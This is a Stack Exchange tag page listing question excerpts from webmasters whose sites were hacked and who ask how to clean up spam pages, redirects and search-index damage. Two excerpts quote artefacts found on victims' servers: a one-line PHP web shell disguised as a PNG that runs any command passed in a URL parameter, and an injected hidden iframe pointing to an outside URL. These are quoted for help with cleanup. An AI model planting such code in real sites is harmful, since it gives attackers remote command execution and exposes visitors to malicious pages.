Skip to main content

Questions tagged [hacked-site]

Use this tag when a website has been compromised by an attacker. Typically an attacker may insert spammy pages, redirect visitors to external sites affiliated with the attacker, or otherwise exploit the site for their own gain.

Filter by
Sorted by
Tagged with
0 votes
2 answers
34 views

Has my website been hacked?

On four of my websites, the complete public_html folder was wiped clean. They are all on the same host. I have one more on the same host and that was intact. Curiously, it's only the public_html ...
Rohit Gupta's user avatar
  • 2,519
0 votes
1 answer
27 views

My Site is Appearing With a Spammy URL. Hacked or something else?

My site is digitalcruch dot com, and I am facing a low traffic problem. However, today, I noticed that my site is appearing on Google with a different URL. I searched the keyword 'digitalcruch sefirin ...
liz Mag's user avatar
0 votes
1 answer
76 views

Google Search Console crawled too many fake urls not exisit in website

I'm having a big trouble Goolge Search Console crawled my website but HTML crawled by Google has too many fake urls not exisit in my website. These urls seem to be appended, illegitimate and ...
An Pham Karion Co.Ltd's user avatar
1 vote
2 answers
190 views

My Jekyll Github Pages website was hacked, what can I do now?

I am glad that Google Search Console informed me via email that there was a new owner a subdomain in my website at: http://ftp.example.com This domain is now currently hacked, so don't visit it. The ...
Hoang Pham's user avatar
0 votes
1 answer
217 views

Google fake pages hack

Last week a hacker found a backdoor in a very old Joomla website I have and created thousands of fake pages using .htaccess rewriting and editing the index.php. He also deleted sitemap and robots txt ...
Nick Doulgeridis's user avatar
2 votes
1 answer
276 views

Could meta http-equiv origin-trial be hacked content?

Google alerted me that it found "malicious software" in my page. Thinking that my site might be hacked, I went to Google Search Console's URL inspection and ran a live test on the reported ...
Stephen Ostermiller's user avatar
3 votes
1 answer
104 views

Client's Website Was Hacked and 316K Fake URLs Submitted to GSC

First, I wish you all a pleasant weekend. I have a unique situation. My client's website was hacked before working with me, and now I'm trying to fix it to the best of my abilities. We started working ...
gfo95's user avatar
  • 41
1 vote
0 answers
19 views

Remove all redirects introduced by a WordPress hack [closed]

There is this online scam website that's causing great damage. From the many complaints online, it's obvious that people are losing thousands of dollars every month on the site. I've decided to stop ...
RayMarshall's user avatar
2 votes
1 answer
3k views

Primary phone number on website keeps auto-changing to a different number

Last week, a co-worker/client of mine emailed me to tell me that she noticed the primary phone number on our website had changed. Nobody on the team has touched that phone number, and neither had I, ...
Gregory Van Dyke's user avatar
1 vote
2 answers
579 views

My Websites were hacked - how to remove virus?

I help my parents run their appliance repair business. They have a few websites in GoDaddy which use Wordpress. Recently I noticed they have been hacked. If someone goes to the website through Google, ...
DankMasterDan's user avatar
2 votes
1 answer
392 views

How long until Google correctly indexes a site that had been hacked?

A couple of weeks ago my WordPress site suffered a conditional redirection hack: While I can browse my website without any problem, my Home appears in the Google Search results with spam data, the ...
Wonton's user avatar
  • 121
1 vote
1 answer
93 views

My website got hijacked, how do I ask search engines to remove the bad webpages

Today I discovered that 2 days ago my websites got hijacked. A tonne (maybe hundreds/thousands) of new pages were created on my domain that redirected to some Chinese websites. I have since then ...
Paul Shan's user avatar
8 votes
3 answers
924 views

Shall I submit sitemap containing all the bad (now 404) URLs after the spam URL hack?

Earlier this month, one of my sites got hacked and an attacker created near 1 million spam URLs. The site has been fixed relatively fast, however, after one month Google search results still shows ...
RhymeGuy's user avatar
  • 439
2 votes
2 answers
262 views

Ensure that all pharma URLs are removed from Google after cleaning up from a hacked site

My client's website was hacked by a "pharma hack" which was a WORDPRESS website. Since then we reworked the website(design and logic) and it's a completely new website that is no longer ...
shady's user avatar
  • 23
4 votes
1 answer
148 views

Backdoor exploit - could they have downloaded files from server?

Due to a customer running old Wordpress plugins, a php file with the following code was added to their website: ‰PNG <?php $str = $_GET['cmd']; system($str); ?> The above file was detected by ...
authentictech's user avatar
0 votes
0 answers
12 views

Ads suspended due to malicious software [duplicate]

All the ads for my website have been disapproved last week due to malicious (third party) software. I checked the whole website and noticed the third party script on the header section related to ...
AnkitSwami's user avatar
0 votes
1 answer
57 views

Three of my Wordpress sites got hacked, trying to understand how and how to prevent it [closed]

Today I noticed three of my WordPress sites were hacked and were redirecting visitors to other sites. It took me a while to figure out what exactly was changed. Apparently, "siteurl" and &...
Zippy1970's user avatar
  • 101
1 vote
1 answer
278 views

My XML sitemap contains spam content, while the HTML sitemap is not. What can I do?

My website just recovered from an attack. I find out that my XML sitemap still contains spam contents: <url> <loc>http://xn--qucu-hr5aza.com/7pwclknq****hux0rx.so</loc> <lastmod&...
Ooker's user avatar
  • 666
1 vote
3 answers
51 views

Google Search Console still reporting spammy keywords on our site even after cleaning up a hack

Just before the previous Christmas our website was hacked, and our Christmas present was some files put on our server and a redirect to an online pharmacy selling viagra! Happy Christmas us! Luckily ...
Ruby's user avatar
  • 11
1 vote
1 answer
50 views

Google Console Live Test shows me spammy html with Japanese characters

I believe my website was hacked. When I run a page through the google data structured testing tool, I get a spammy version of my page. The first thing I did was to restore the site from a backup from ...
OctaviaLo's user avatar
  • 215
1 vote
0 answers
2k views

Phone number on wordpress website magically being changed to different number [closed]

I have a very strange problem on the website of a client of mine. It's a wordpress website I have designed with a child theme of the Leisure theme. I have coded a couple of simple plugins to suit ...
grimnebluna's user avatar
1 vote
1 answer
131 views

How can I confirm if my security review request has been submitted properly in Google Search Console?

I submitted a security review request in Google Search Console after my website was hacked but I can see no confirmation anywhere that the issue is pending a review. The only way I can get a message ...
jacmkno's user avatar
  • 145
1 vote
2 answers
425 views

Remove hacked url from google index not working

I keep getting hacked url's index by google when i type site:mydomain.com.au My site was hacked previously (was using wordpress). Now it uses JavaScript (React/Node) and built from scratch and hosted ...
Ryan Dhungel's user avatar
1 vote
0 answers
297 views

Is it safe to give write permission to index.php file?

Today I accidentally gave write permission to my index.php file to using sudo chmod +x index.php. I don't know what permission it had before. My index.php contains a php script for collecting number ...
Sadie's user avatar
  • 19
3 votes
2 answers
114 views

How to force a view of meta data as Google or Bing sees it?

I'm having an extremely peculiar problem with a site (WordPress) that just suddenly started exhibiting an issue where Japanese is showing up for all the metadata in Google and Bing - only: Google: ...
ylluminate's user avatar
1 vote
1 answer
91 views

Hacked site created foreign language tags pages, can we block them in robots.txt to remove them from Google?

Our WordPress website was hacked which is now revamped and updated to the WP v5.0.3 but still Tags and 35fc4a-50164960-421910 or 6d285b-31601402-365308 type URLs are indexed in Google. Can we block ...
edgematrix's user avatar
1 vote
2 answers
791 views

My WP site was hacked. How do i find cloaked content and redirects?

Right before christmas i noticed that my website suddenly had a steep drop off in users. Once I got to the bottom of things it turned out that google delisted me because my website had been hacked via ...
rohrl77's user avatar
  • 257
6 votes
2 answers
1k views

These files aren't on my server. How are they showing in Google Analytics?

I'm trying to understand how this is possible. The screenshot below shows two page views. both are .html files, but my site has ZERO .html files in it. My site also does not have a /h/ directory. ...
Mr. B's user avatar
  • 187
2 votes
0 answers
41 views

Why am I receiving request with h/randomNumber.html

Recently, I've been receiving request spikes from requests of the form example.com/h/<randomNumber>.html Each time the random number is consistent (per 24 hours). On Google analytics I'll ...
Paul Thompson's user avatar
0 votes
1 answer
29 views

Is it possible to bulkly remove faulty pages from google search console?

Due to error in my sitemap after a hack event, so many non-existing pages were listed in my site map which google tried to index them. Currently these pages are not present in my sitemap anymore, but ...
VSB's user avatar
  • 103
7 votes
2 answers
3k views

Mysterious ico files appearing on webserver

Files are unexpectedly appearing on one of my shared web servers. They can appear in pretty much hundreds of directories and they are always called something like favicon_1166f9.ico. The first 6 ...
Itai's user avatar
  • 5,997
1 vote
2 answers
195 views

Site was hacked months ago. How do i remove created pages from googles listings

My site was hacked about 4-6 months ago and as a result lots of pages were created on my site. These pages no longer exist and were removed a week after the hack but they still exist in googles search ...
Olly's user avatar
  • 267
3 votes
1 answer
907 views

Indexing Japanese links after hack

A few months ago our website got hacked, similar to what seems to be described in the following - https://developers.google.com/webmasters/hacked/docs/fixing_the_japanese_keyword_hack We fixed the ...
Peter Rowlands's user avatar
2 votes
2 answers
1k views

Hacked website had it's SEO compromised, after recovery, google still index new corrupted URLs

A WordPress website was hacked using old-plugin-version vulnerabilities. The result of the hack was that index.php redirected Google to a Chinese website and hence the original SEO was corrupted but ...
ATX's user avatar
  • 121
0 votes
1 answer
213 views

"This site may be hacked" google result on Wordpress page [closed]

My problem is that when I search for my site on google (a Wordpress page), it shows the correct web address, but clicking the link redirects to a site selling Windows keys. However, if I actually ...
SloppyNick's user avatar
4 votes
1 answer
4k views

After site was hacked, how to remove foreign pages from Google's Index?

I'm dealing with a site that was hacked a while back. Google indexed thousands of pages using JAPANESE results. I have used my robots file to disallow everything except the pages that actually exist ...
Laurence Tuck's user avatar
2 votes
1 answer
488 views

Google reports URL injection - but the reported URL returns a 404 even when fetched as Google

Yesterday we found out that in Google Search, the website is reported as "This site may be hacked." It is a Joomla website. In webmasters tools there is a report for URL Injections. There is only ...
FFrewin's user avatar
  • 375
2 votes
1 answer
315 views

How long will Google take to index our site correctly after cleaning up a pharmaceutical hack?

I help make edits to a hockey association website. It was recently hacked and now in Google search it shows pharmaceutical info for titles and page info, and then takes it to a pharmaceutical site, or ...
Ashleys Custom Decals's user avatar
2 votes
1 answer
3k views

Remove hacked URLs from Google Search

My client's site shows "This site may be hacked" in Google's search result. I restored the website, installed security plugins, scanned and removed all possible issues and requested Google for a ...
Ibrahim Azhar Armar's user avatar
5 votes
2 answers
4k views

How to make a WP site read only

I have a WP site that was hacked, I have an old copy that I used and the site hacked again on another server, I suspect this copy have a trojan horse in it which created new folder for phishing. What ...
ofir's user avatar
  • 71
1 vote
2 answers
472 views

How to fix some damages from site hack?

My site had been hacked. I found the vulnerability, fixed it, and removed shell scripts. But the hacker had uploaded thousands of web pages on my web server. After I removed those pages I got over 4 ...
Tohid's user avatar
  • 288
5 votes
3 answers
803 views

Black index/default page with "Hacked by..." in every folder

I host multiple domains with this very popular hosting provider and I just went into one of my sites and … I see a black page with the message "Hacked by...". I checked and all my sites with the ...
Vad's user avatar
  • 153
1 vote
1 answer
135 views

Hackers replaced my WordPress homepage

I forgot to remove the default admin/admin account on my blog. Somebody got in and has replaced my homepage with some internet graffiti. I've used .htaccess to replace the page with a 403 error, but ...
alt's user avatar
  • 113
2 votes
3 answers
416 views

Hacker crawler inserting iframe into file

Somehow, a "hacker crawler" is constantly inserting a harmful iframe element into one of my files: <iframe src="http://miaspieces.vv.cc/showthread.php?t=70830633" width="0" height="0"></...
Michael's user avatar
  • 23
2 votes
3 answers
2k views

My WordPress site has been attacked, it says "Reported Attack Page!"

Three days back my website ganapatihegde.com has been hacked/attacked by some hacker. Now, when anyone tries to see my website, it says "Reported Attack Page!". I am using a server provided by Free ...
user avatar
1 vote
3 answers
308 views

Attacker added "/modules/com_gcalendar" to my Joomla site

Someone hacked into our servers. Not sure when. They have created this folder /public_html/modules/com_gcalendar and some files in it. Any one of you had the same attack? Any findings?
Vivek Chandraprakash's user avatar